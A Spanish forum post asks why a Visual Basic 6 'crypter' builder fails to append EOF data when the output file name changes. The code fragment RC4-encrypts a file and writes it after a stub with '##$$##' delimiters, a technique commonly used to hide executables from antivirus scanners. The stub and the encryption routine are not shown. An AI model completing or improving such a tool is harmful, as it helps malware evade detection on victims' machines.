Tengo este codigo:
Código: Seleccionar todo
With cdlSave
.DialogTitle = "Guardar en..."
.Filter = "Aplicaciones EXE|*.exe"
.DefaultExt = "exe"
.Filename = "encriptado.exe"
.ShowSave
End With
If Not cdlSave.Filename = vbNullString Then
File = RC4(File, txtRandom.Text)
Open cdlSave.Filename For Binary As #1
Put #1, , Stub & "##$$##" & File & "##$$##" & txtRandom.Text & "##$$##"
Close #1
If chkEOF.Value = 1 Then
Call WriteEOFData(App.Path & "/encriptado.exe", read)
End If
Call WriteEOFData(App.Path & "/encriptado.exe", read)
Por esta otra:
Call WriteEOFData(App.Path & "cdlSave.Filename", read)
No se me agrega el eof, por qué no si en teoría es lo mismo?. cdlSave.Filename es el nombre con el que guardo el archivo encriptado verdad?
Es una duda tonta, pero es que es algo molesto porque en el caso de poner otro nombre que no sea "encriptado.exe" a la hora de guardar no se agregaría el eof.
Un saludo y sorry por la duda noob, pero me tiene un poco intrigado